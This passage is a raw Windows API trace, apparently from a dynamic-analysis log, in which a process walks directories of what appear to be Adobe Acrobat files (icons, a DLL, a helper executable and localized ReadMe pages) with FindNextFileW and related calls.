cAlternateFileName="ENDED_~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0232.155] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="RE78D9~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~3.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~2.GIF")) returned 1 [0232.156] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~1.GIF")) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0232.157] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 0 [0232.157] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0232.158] GetProcessHeap () returned 0x550000 [0232.158] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0232.158] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0232.158] GetProcessHeap () returned 0x550000 [0232.158] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="REE3F7~1.HTM")) returned 1 [0232.158] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="RE2D2E~1.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="RE50AF~1.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="README~4.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 